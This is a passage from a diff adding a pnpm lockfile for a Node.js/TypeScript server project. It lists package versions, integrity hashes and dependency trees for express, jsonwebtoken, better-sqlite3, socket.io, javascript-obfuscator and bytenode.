sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==} + hasBin: true + + v8-compile-cache-lib@3.0.1: + resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==} + + validator@13.15.26: + resolution: {integrity: sha512-spH26xU080ydGggxRyR1Yhcbgx+j3y5jbNXk/8L+iRvdIEQ4uTRH2Sgf2dokud6Q4oAtsbNvJ1Ft+9xmm6IZcA==} + engines: {node: '>= 0.10'} + + vary@1.1.2: + resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==} + engines: {node: '>= 0.8'} + + webidl-conversions@3.0.1: + resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==} + + whatwg-url@5.0.0: + resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==} + + when-exit@2.1.5: + resolution: {integrity: sha512-VGkKJ564kzt6Ms1dbgPP/yuIoQCrsFAnRbptpC5wOEsDaNsbCB2bnfnaA8i/vRs5tjUSEOtIuvl9/MyVsvQZCg==} + + which-typed-array@1.1.20: + resolution: {integrity: sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==} + engines: {node: '>= 0.4'} + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + wide-align@1.1.5: + resolution: {integrity: sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==} + + winston-transport@4.9.0: + resolution: {integrity: sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A==} + engines: {node: '>= 12.0.0'} + + winston@3.19.0: + resolution: {integrity: sha512-LZNJgPzfKR+/J3cHkxcpHKpKKvGfDZVPS4hfJCc4cCG0CgYzvlD6yE/S3CIL/Yt91ak327YCpiF/0MyeZHEHKA==} + engines: {node: '>= 12.0.0'} + + word-wrap@1.2.5: + resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} + engines: {node: '>=0.10.0'} + + wrap-ansi@7.0.0: + resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} + engines: {node: '>=10'} + + wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + + ws@8.18.3: + resolution: {integrity: sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==} + engines: {node: '>=10.0.0'} + peerDependencies: + bufferutil: ^4.0.1 + utf-8-validate: '>=5.0.2' + peerDependenciesMeta: + bufferutil: + optional: true + utf-8-validate: + optional: true + + ws@8.19.0: + resolution: {integrity: sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==} + engines: {node: '>=10.0.0'} + peerDependencies: + bufferutil: ^4.0.1 + utf-8-validate: '>=5.0.2' + peerDependenciesMeta: + bufferutil: + optional: true + utf-8-validate: + optional: true + + xtend@4.0.2: + resolution: {integrity: sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==} + engines: {node: '>=0.4'} + + y18n@5.0.8: + resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==} + engines: {node: '>=10'} + + yallist@4.0.0: + resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} + + yargs-parser@20.2.9: + resolution: {integrity: sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==} + engines: {node: '>=10'} + + yargs@16.2.0: + resolution: {integrity: sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==} + engines: {node: '>=10'} + + yn@3.1.1: + resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==} + engines: {node: '>=6'} + +snapshots: + + '@babel/generator@7.18.2': + dependencies: + '@babel/types': 7.19.0 + '@jridgewell/gen-mapping': 0.3.13 + jsesc: 2.5.2 + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.28.5': {} + + '@babel/parser@7.18.4': + dependencies: + '@babel/types': 7.19.0 + + '@babel/types@7.19.0': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 7.28.5 + to-fast-properties: 2.0.0 + + '@colors/colors@1.6.0': {} + + '@cspotcode/source-map-support@0.8.1': + dependencies: + '@jridgewell/trace-mapping': 0.3.9 + + '@dabh/diagnostics@2.0.8': + dependencies: + '@so-ric/colorspace': 1.1.6 + enabled: 2.0.0 + kuler: 2.0.0 + + '@gar/promisify@1.1.3': + optional: true + + '@inversifyjs/common@1.3.3': {} + + '@inversifyjs/core@1.3.4(reflect-metadata@0.2.2)': + dependencies: + '@inversifyjs/common': 1.3.3 + '@inversifyjs/reflect-metadata-utils': 0.2.3(reflect-metadata@0.2.2) + transitivePeerDependencies: + - reflect-metadata + + '@inversifyjs/reflect-metadata-utils@0.2.3(reflect-metadata@0.2.2)': + dependencies: + reflect-metadata: 0.2.2 + + '@javascript-obfuscator/escodegen@2.3.1': + dependencies: + '@javascript-obfuscator/estraverse': 5.4.0 + esprima: 4.0.1 + esutils: 2.0.3 + optionator: 0.8.3 + optionalDependencies: + source-map: 0.6.1 + + '@javascript-obfuscator/estraverse@5.4.0': {} + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/source-map@0.3.11': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@jridgewell/trace-mapping@0.3.9': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + + '@npmcli/fs@1.1.1': + dependencies: + '@gar/promisify': 1.1.3 + semver: 7.7.4 + optional: true + + '@npmcli/move-file@1.1.2': + dependencies: + mkdirp: 1.0.4 + rimraf: 3.0.2 + optional: true + + '@so-ric/colorspace@1.1.6': + dependencies: + color: 5.0.3 + text-hex: 1.0.0 + + '@socket.io/component-emitter@3.1.2': {} + + '@tootallnate/once@1.1.2': + optional: true + + '@tsconfig/node10@1.0.12': {} + + '@tsconfig/node12@1.0.11': {} + + '@tsconfig/node14@1.0.3': {} + + '@tsconfig/node16@1.0.4': {} + + '@types/bcryptjs@2.4.6': {} + + '@types/better-sqlite3@7.6.13': + dependencies: + '@types/node': 20.19.33 + + '@types/body-parser@1.19.6': + dependencies: + '@types/connect': 3.4.38 + '@types/node': 20.19.33 + + '@types/connect@3.4.38': + dependencies: + '@types/node': 20.19.33 + + '@types/cors@2.8.19': + dependencies: + '@types/node': 20.19.33 + + '@types/express-serve-static-core@5.1.1': + dependencies: + '@types/node': 20.19.33 + '@types/qs': 6.14.0 + '@types/range-parser': 1.2.7 + '@types/send': 1.2.1 + + '@types/express@5.0.6': + dependencies: + '@types/body-parser': 1.19.6 + '@types/express-serve-static-core': 5.1.1 + '@types/serve-static': 2.2.0 + + '@types/http-errors@2.0.5': {} + + '@types/jsonwebtoken@9.0.10': + dependencies: + '@types/ms': 2.1.0 + '@types/node': 20.19.33 + + '@types/minimatch@3.0.5': {} + + '@types/ms@2.1.0': {} + + '@types/multer@1.4.13': + dependencies: + '@types/express': 5.0.6 + + '@types/node@20.19.33': + dependencies: + undici-types: 6.21.0 + + '@types/qs@6.14.0': {} + + '@types/range-parser@1.2.7': {} + + '@types/send@1.2.1': + dependencies: + '@types/node': 20.19.33 + + '@types/serve-static@2.2.0': + dependencies: + '@types/http-errors': 2.0.5 + '@types/node': 20.19.33 + + '@types/triple-beam@1.3.5': {} + + '@types/uuid@10.0.0': {} + + '@types/validator@13.15.10': {} + + '@types/ws@8.18.1': + dependencies: + '@types/node': 20.19.33 + + '@vercel/ncc@0.38.4': {} + + abbrev@1.1.1: + optional: true + + accepts@1.3.8: + dependencies: + mime-types: 2.1.35 + negotiator: 0.6.3 + + acorn-walk@8.3.4: + dependencies: + acorn: 8.15.0 + + acorn@8.15.0: {} + + agent-base@6.0.2: + dependencies: + debug: 4.4.3(supports-color@5.5.0) + transitivePeerDependencies: + - supports-color + + agentkeepalive@4.6.0: + dependencies: + humanize-ms: 1.2.1 + optional: true + + aggregate-error@3.1.0: + dependencies: + clean-stack: 2.2.0 + indent-string: 4.0.0 + optional: true + + ajv-formats@3.0.1(ajv@8.17.1): + optionalDependencies: + ajv: 8.17.1 + + ajv@8.17.1: + dependencies: + fast-deep-equal: 3.1.3 + fast-uri: 3.1.0 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + + ansi-regex@5.0.1: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + anymatch@3.1.3: + dependencies: + normalize-path: 3.0.0 + picomatch: 2.3.1 + + append-field@1.0.0: {} + + aproba@2.1.0: + optional: true + + are-we-there-yet@3.0.1: + dependencies: + delegates: 1.0.0 + readable-stream: 3.6.2 + optional: true + + arg@4.1.3: {} + + array-differ@3.0.0: {} + + array-flatten@1.1.1: {} + + array-union@2.1.0: {} + + arrify@2.0.1: {} + + assert@2.1.0: + dependencies: + call-bind: 1.0.8 + is-nan: 1.3.2 + object-is: 1.1.6 + object.assign: 4.1.7 + util: 0.12.5 + + async@3.2.6: {} + + at-least-node@1.0.0: {} + + atomically@2.1.1: + dependencies: + stubborn-fs: 2.0.0 + when-exit: 2.1.5 + + available-typed-arrays@1.0.7: + dependencies: + possible-typed-array-names: 1.1.0 + + balanced-match@1.0.2: {} + + base64-js@1.5.1: {} + + base64id@2.0.0: {} + + bcryptjs@3.0.3: {} + + better-sqlite3@12.6.2: + dependencies: + bindings: 1.5.0 + prebuild-install: 7.1.3 + optional: true + + binary-extensions@2.3.0: {} + + bindings@1.5.0: + dependencies: + file-uri-to-path: 1.0.0 + + bl@4.1.0: + dependencies: + buffer: 5.7.1 + inherits: 2.0.4 + readable-stream: 3.6.2 + + body-parser@1.20.4: + dependencies: + bytes: 3.1.2 + content-type: 1.0.5 + debug: 2.6.9 + depd: 2.0.0 + destroy: 1.2.0 + http-errors: 2.0.1 + iconv-lite: 0.4.24 + on-finished: 2.4.1 + qs: 6.14.2 + raw-body: 2.5.3 + type-is: 1.6.18 + unpipe: 1.0.0 + transitivePeerDependencies: + - supports-color + + brace-expansion@1.1.12: + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + buffer-equal-constant-time@1.0.1: {} + + buffer-from@1.1.2: {} + + buffer@5.7.1: + dependencies: + base64-js: 1.5.1 + ieee754: 1.2.1 + + busboy@1.6.0: + dependencies: + streamsearch: 1.1.0 + + bytenode@1.5.7: {} + + bytes@3.1.2: {} + + cacache@15.3.0: + dependencies: + '@npmcli/fs': 1.1.1 + '@npmcli/move-file': 1.1.2 + chownr: 2.0.0 + fs-minipass: 2.1.0 + glob: 7.2.3 + infer-owner: 1.0.4 + lru-cache: 6.0.0 + minipass: 3.3.6 + minipass-collect: 1.0.2 + minipass-flush: 1.0.5 + minipass-pipeline: 1.2.4 + mkdirp: 1.0.4 + p-map: 4.0.0 + promise-inflight: 1.0.1 + rimraf: 3.0.2 + ssri: 8.0.1 + tar: 6.2.1 + unique-filename: 1.1.1 + transitivePeerDependencies: + - bluebird + optional: true + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + call-bind@1.0.8: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + get-intrinsic: 1.3.0 + set-function-length: 1.2.2 + + call-bound@1.0.4: + dependencies: + call-bind-apply-helpers: 1.0.2 + get-intrinsic: 1.3.0 + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + chance@1.1.13: {} + + char-regex@1.0.2: {} + + charenc@0.0.2: {} + + chokidar@3.6.0: + dependencies: + anymatch: 3.1.3 + braces: 3.0.3 + glob-parent: 5.1.2 + is-binary-path: 2.1.0 + is-glob: 4.0.3 + normalize-path: 3.0.0 + readdirp: 3.6.0 + optionalDependencies: + fsevents: 2.3.3 + + chownr@1.1.4: {} + + chownr@2.0.0: {} + + class-validator@0.14.3: + dependencies: + '@types/validator': 13.15.10 + libphonenumber-js: 1.12.36 + validator: 13.15.26 + + clean-stack@2.2.0: + optional: true + + cliui@7.0.4: + dependencies: + string-width: 4.2.3 + strip-ansi: 6.0.1 + wrap-ansi: 7.0.0 + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-convert@3.1.3: + dependencies: + color-name: 2.1.0 + + color-name@1.1.4: {} + + color-name@2.1.0: {} + + color-string@2.1.4: + dependencies: + color-name: 2.1.0 + + color-support@1.1.3: + optional: true + + color@5.0.3: + dependencies: + color-convert: 3.1.3 + color-string: 2.1.4 + + commander@12.1.0: {} + + commander@2.20.3: {} + + concat-map@0.0.1: {} + + concat-stream@2.0.0: + dependencies: + buffer-from: 1.1.2 + inherits: 2.0.4 + readable-stream: 3.6.2 + typedarray: 0.0.6 + + conf@15.0.2: + dependencies: + ajv: 8.17.1 + ajv-formats: 3.0.1(ajv@8.17.1) + atomically: 2.1.1 + debounce-fn: 6.0.0 + dot-prop: 10.1.0 + env-paths: 3.0.0 + json-schema-typed: 8.0.2 + semver: 7.7.4 + uint8array-extras: 1.5.0 + + console-control-strings@1.1.0: + optional: true + + content-disposition@0.5.4: + dependencies: + safe-buffer: 5.2.1 + + content-type@1.0.5: {} + + cookie-signature@1.0.7: {} + + cookie@0.7.2: {} + + core-util-is@1.0.3: {} + + cors@2.8.6: + dependencies: + object-assign: 4.1.1 + vary: 1.1.2 + + create-require@1.1.1: {} + + crypt@0.0.2: {} + + debounce-fn@6.0.0: + dependencies: + mimic-function: 5.0.1 + + debug@2.6.9: + dependencies: + ms: 2.0.0 + + debug@4.4.3(supports-color@5.5.0): + dependencies: + ms: 2.1.3 + optionalDependencies: + supports-color: 5.5.0 + + decompress-response@6.0.0: + dependencies: + mimic-response: 3.1.0 + + deep-extend@0.6.0: {} + + deep-is@0.1.4: {} + + define-data-property@1.1.4: + dependencies: + es-define-property: 1.0.1 + es-errors: 1.3.0 + gopd: 1.2.0 + + define-properties@1.2.1: + dependencies: + define-data-property: 1.1.4 + has-property-descriptors: 1.0.2 + object-keys: 1.1.1 + + delegates@1.0.0: + optional: true + + depd@2.0.0: {} + + destroy@1.2.0: {} + + detect-libc@2.1.2: {} + + diff@4.0.4: {} + + dir-glob@3.0.1: + dependencies: + path-type: 4.0.0 + + dot-prop@10.1.0: + dependencies: + type-fest: 5.4.4 + + dotenv@17.3.1: {} + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + ecdsa-sig-formatter@1.0.11: + dependencies: + safe-buffer: 5.2.1 + + ee-first@1.1.1: {} + + emoji-regex@8.0.0: {} + + enabled@2.0.0: {} + + encodeurl@2.0.0: {} + + encoding@0.1.13: + dependencies: + iconv-lite: 0.6.3 + optional: true + + end-of-stream@1.4.5: + dependencies: + once: 1.4.0 + + engine.io-parser@5.2.3: {} + + engine.io@6.6.5: + dependencies: + '@types/cors': 2.8.19 + '@types/node': 20.19.33 + accepts: 1.3.8 + base64id: 2.0.0 + cookie: 0.7.2 + cors: 2.8.6 + debug: 4.4.3(supports-color@5.5.0) + engine.io-parser: 5.2.3 + ws: 8.18.3 + transitivePeerDependencies: + - bufferutil + - supports-color + - utf-8-validate + + env-paths@2.2.1: + optional: true + + env-paths@3.0.0: {} + + err-code@2.0.3: + optional: true + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + escalade@3.2.0: {} + + escape-html@1.0.3: {} + + eslint-scope@8.4.0: + dependencies: + esrecurse: 4.3.0 + estraverse: 5.3.0 + + eslint-visitor-keys@4.2.1: {} + + esprima@4.0.1: {} + + esrecurse@4.3.0: + dependencies: + estraverse: 5.3.0 + + estraverse@5.3.0: {} + + esutils@2.0.3: {} + + etag@1.8.1: {} + + expand-template@2.0.3: {} + + express@4.22.1: + dependencies: + accepts: 1.3.8 + array-flatten: 1.1.1 + body-parser: 1.20.4 + content-disposition: 0.5.4 + content-type: 1.0.5 + cookie: 0.7.2 + cookie-signature: 1.0.7 + debug: 2.6.9 + depd: 2.0.0 + encodeurl: 2.0.0 + escape-html: 1.0.3 + etag: 1.8.1 + finalhandler: 1.3.2 + fresh: 0.5.2 + http-errors: 2.0.1 + merge-descriptors: 1.0.3 + methods: 1.1.2 + on-finished: 2.4.1 + parseurl: 1.3.3 + path-to-regexp: 0.1.12 + proxy-addr: 2.0.7 + qs: 6.14.2 + range-parser: 1.2.1 + safe-buffer: 5.2.1 + send: 0.19.2 + serve-static: 1.16.3 + setprototypeof: 1.2.0 + statuses: 2.0.2 + type-is: 1.6.18 + utils-merge: 1.0.1 + vary: 1.1.2 + transitivePeerDependencies: + - supports-color + + fast-deep-equal@3.1.3: {} + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-levenshtein@2.0.6: {} + + fast-uri@3.1.0: {} + + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + + fecha@4.2.3: {} + + file-uri-to-path@1.0.0: {} + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + finalhandler@1.3.2: + dependencies: + debug: 2.6.9 + encodeurl: 2.0.0 + escape-html: 1.0.3 + on-finished: 2.4.1 + parseurl: 1.3.3 + statuses: 2.0.2 + unpipe: 1.0.0 + transitivePeerDependencies: + - supports-color + + fn.name@1.1.0: {} + + for-each@0.3.5: + dependencies: + is-callable: 1.2.7 + + forwarded@0.2.0: {} + + fresh@0.5.2: {} + + from2@2.3.0: + dependencies: + inherits: 2.0.4 + readable-stream: 2.3.8 + + fs-constants@1.0.0: {} + + fs-extra@9.1.0: + dependencies: + at-least-node: 1.0.0 + graceful-fs: 4.2.11 + jsonfile: 6.2.0 + universalify: 2.0.1 + + fs-minipass@2.1.0: + dependencies: + minipass: 3.3.6 + + fs.realpath@1.0.0: + optional: true + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + gauge@4.0.4: + dependencies: + aproba: 2.1.0 + color-support: 1.1.3 + console-control-strings: 1.1.0 + has-unicode: 2.0.1 + signal-exit: 3.0.7 + string-width: 4.2.3 + strip-ansi: 6.0.1 + wide-align: 1.1.5 + optional: true + + generator-function@2.0.1: {} + + get-caller-file@2.0.5: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + math-intrinsics: 1.1.0 + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + github-from-package@0.0.0: {} + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + glob@7.2.3: + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 + optional: true + + globby@11.1.0: + dependencies: + array-union: 2.1.0 + dir-glob: 3.0.1 + fast-glob: 3.3.3 + ignore: 5.3.2 + merge2: 1.4.1 + slash: 3.0.0 + + gopd@1.2.0: {} + + graceful-fs@4.2.11: {} + + has-flag@3.0.0: {} + + has-flag@4.0.0: {} + + has-property-descriptors@1.0.2: + dependencies: + es-define-property: 1.0.1 + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + has-unicode@2.0.1: + optional: true + + has@1.0.4: {} + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + http-cache-semantics@4.2.0: + optional: true + + http-errors@2.0.1: + dependencies: + depd: 2.0.0 + inherits: 2.0.4 + setprototypeof: 1.2.0 + statuses: 2.0.2 + toidentifier: 1.0.1 + + http-proxy-agent@4.0.1: + dependencies: + '@tootallnate/once': 1.1.2 + agent-base: 6.0.2 + debug: 4.4.3(supports-color@5.5.0) + transitivePeerDependencies: + - supports-color + optional: true + + https-proxy-agent@5.0.1: + dependencies: + agent-base: 6.0.2 + debug: 4.4.3(supports-color@5.5.0) + transitivePeerDependencies: + - supports-color + + humanize-ms@1.2.1: + dependencies: + ms: 2.1.3 + optional: true + + iconv-lite@0.4.24: + dependencies: + safer-buffer: 2.1.2 + + iconv-lite@0.6.3: + dependencies: + safer-buffer: 2.1.2 + optional: true + + ieee754@1.2.1: {} + + ignore-by-default@1.0.1: {} + + ignore@5.3.2: {} + + imurmurhash@0.1.4: + optional: true + + indent-string@4.0.0: + optional: true + + infer-owner@1.0.4: + optional: true + + inflight@1.0.6: + dependencies: + once: 1.4.0 + wrappy: 1.0.2 + optional: true + + inherits@2.0.4: {} + + ini@1.3.8: {} + + into-stream@6.0.0: + dependencies: + from2: 2.3.0 + p-is-promise: 3.0.0 + + inversify@6.1.4(reflect-metadata@0.2.2): + dependencies: + '@inversifyjs/common': 1.3.3 + '@inversifyjs/core': 1.3.4(reflect-metadata@0.2.2) + transitivePeerDependencies: + - reflect-metadata + + ip-address@10.1.0: + optional: true + + ipaddr.js@1.9.1: {} + + is-arguments@1.2.0: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-binary-path@2.1.0: + dependencies: + binary-extensions: 2.3.0 + + is-buffer@1.1.6: {} + + is-callable@1.2.7: {} + + is-core-module@2.16.1: + dependencies: + hasown: 2.0.2 + + is-core-module@2.9.0: + dependencies: + has: 1.0.4 + + is-extglob@2.1.1: {} + + is-fullwidth-code-point@3.0.0: {} + + is-generator-function@1.1.2: + dependencies: + call-bound: 1.0.4 + generator-function: 2.0.1 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-lambda@1.0.1: + optional: true + + is-nan@1.3.2: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + + is-number@7.0.0: {} + + is-regex@1.2.1: + dependencies: + call-bound: 1.0.4 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + is-stream@2.0.1: {} + + is-typed-array@1.1.15: + dependencies: + which-typed-array: 1.1.20 + + isarray@1.0.0: {} + + isexe@2.0.0: + optional: true + + javascript-obfuscator@4.2.2: + dependencies: + '@javascript-obfuscator/escodegen': 2.3.1 + '@javascript-obfuscator/estraverse': 5.4.0 + acorn: 8.15.0 + assert: 2.1.0 + chalk: 4.1.2 + chance: 1.1.13 + class-validator: 0.14.3 + commander: 12.1.0 + conf: 15.0.2 + eslint-scope: 8.4.0 + eslint-visitor-keys: 4.2.1 + fast-deep-equal: 3.1.3 + inversify: 6.1.4(reflect-metadata@0.2.2) + js-string-escape: 1.0.1 + md5: 2.3.0 + mkdirp: 3.0.1 + multimatch: 5.0.0 + process: 0.11.10 + reflect-metadata: 0.2.2 + source-map-support: 0.5.21 + string-template: 1.0.0 + stringz: 2.1.0 + tslib: 2.8.1 + + js-string-escape@1.0.1: {} + + jsesc@2.5.2: {} + + json-schema-traverse@1.0.0: {} + + json-schema-typed@8.0.2: {} + + jsonfile@6.2.0: + dependencies: + universalify: 2.0.1 + optionalDependencies: + graceful-fs: 4.2.11 + + jsonwebtoken@9.0.3: + dependencies: + jws: 4.0.1 + lodash.includes: 4.3.0 + lodash.isboolean: 3.0.3 + lodash.isinteger: 4.0.4 + lodash.isnumber: 3.0.3 + lodash.isplainobject: 4.0.6 + lodash.isstring: 4.0.1 + lodash.once: 4.1.1 + ms: 2.1.3 + semver: 7.7.4 + + jwa@2.0.1: + dependencies: + buffer-equal-constant-time: 1.0.1 + ecdsa-sig-formatter: 1.0.11 + safe-buffer: 5.2.1 + + jws@4.0.1: + dependencies: + jwa: 2.0.1 + safe-buffer: 5.2.1 + + kuler@2.0.0: {} + + levn@0.3.0: + dependencies: + prelude-ls: 1.1.2 + type-check: 0.3.2 + + libphonenumber-js@1.12.36: {} + + lodash.includes@4.3.0: {} + + lodash.isboolean@3.0.3: {} + + lodash.isinteger@4.0.4: {} + + lodash.isnumber@3.0.3: {} + + lodash.isplainobject@4.0.6: {} + + lodash.isstring@4.0.1: {} + + lodash.once@4.1.1: {} + + logform@2.7.0: + dependencies: + '@colors/colors': 1.6.0 + '@types/triple-beam': 1.3.5 + fecha: 4.2.3 + ms: 2.1.3 + safe-stable-stringify: 2.5.0 + triple-beam: 1.4.1 + + lru-cache@6.0.0: + dependencies: + yallist: 4.0.0 + optional: true + + make-error@1.3.6: {} + + make-fetch-happen@9.1.0: + dependencies: + agentkeepalive: 4.6.0 + cacache: 15.3.0 + http-cache-semantics: 4.2.0 + http-proxy-agent: 4.0.1 + https-proxy-agent: 5.0.1 + is-lambda: 1.0.1 + lru-cache: 6.0.0 + minipass: 3.3.6 + minipass-collect: 1.0.2 + minipass-fetch: 1.4.1 + minipass-flush: 1.0.5 + minipass-pipeline: 1.2.4 + negotiator: 0.6.4 + promise-retry: 2.0.1 + socks-proxy-agent: 6.2.1 + ssri: 8.0.1 + transitivePeerDependencies: + - bluebird + - supports-color + optional: true + + math-intrinsics@1.1.0: {} + + md5@2.3.0: + dependencies: + charenc: 0.0.2 + crypt: 0.0.2 + is-buffer: 1.1.6 + + media-typer@0.3.0: {} + + merge-descriptors@1.0.3: {} + + merge2@1.4.1: {} + + methods@1.1.2: {} + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + + mime-db@1.52.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + mime@1.6.0: {} + + mimic-function@5.0.1: {} + + mimic-response@3.1.0: {} + + minimatch@3.1.2: + dependencies: + brace-expansion: 1.1.12 + + minimist@1.2.8: {} + + minipass-collect@1.0.2: + dependencies: + minipass: 3.3.6 + optional: true + + minipass-fetch@1.4.1: + dependencies: + minipass: 3.3.6 + minipass-sized: 1.0.3 + minizlib: 2.1.2 + optionalDependencies: + encoding: 0.1.13 + optional: true + + minipass-flush@1.0.5: + dependencies: + minipass: 3.3.6 + optional: true + + minipass-pipeline@1.2.4: + dependencies: + minipass: 3.3.6 + optional: true + + minipass-sized@1.0.3: + dependencies: + minipass: 3.3.6 + optional: true + + minipass@3.3.6: + dependencies: + yallist: 4.0.0 + + minipass@5.0.0: {} + + minizlib@2.1.2: + dependencies: + minipass: 3.3.6 + yallist: 4.0.0 + + mkdirp-classic@0.5.3: {} + + mkdirp@0.5.6: + dependencies: + minimist: 1.2.8 + + mkdirp@1.0.4: {} + + mkdirp@3.0.1: {} + + ms@2.0.0: {} + + ms@2.1.3: {} + + multer@2.0.2: + dependencies: + append-field: 1.0.0 + busboy: 1.6.0 + concat-stream: 2.0.0 + mkdirp: 0.5.6 + object-assign: 4.1.1 + type-is: 1.6.18 + xtend: 4.0.2 + 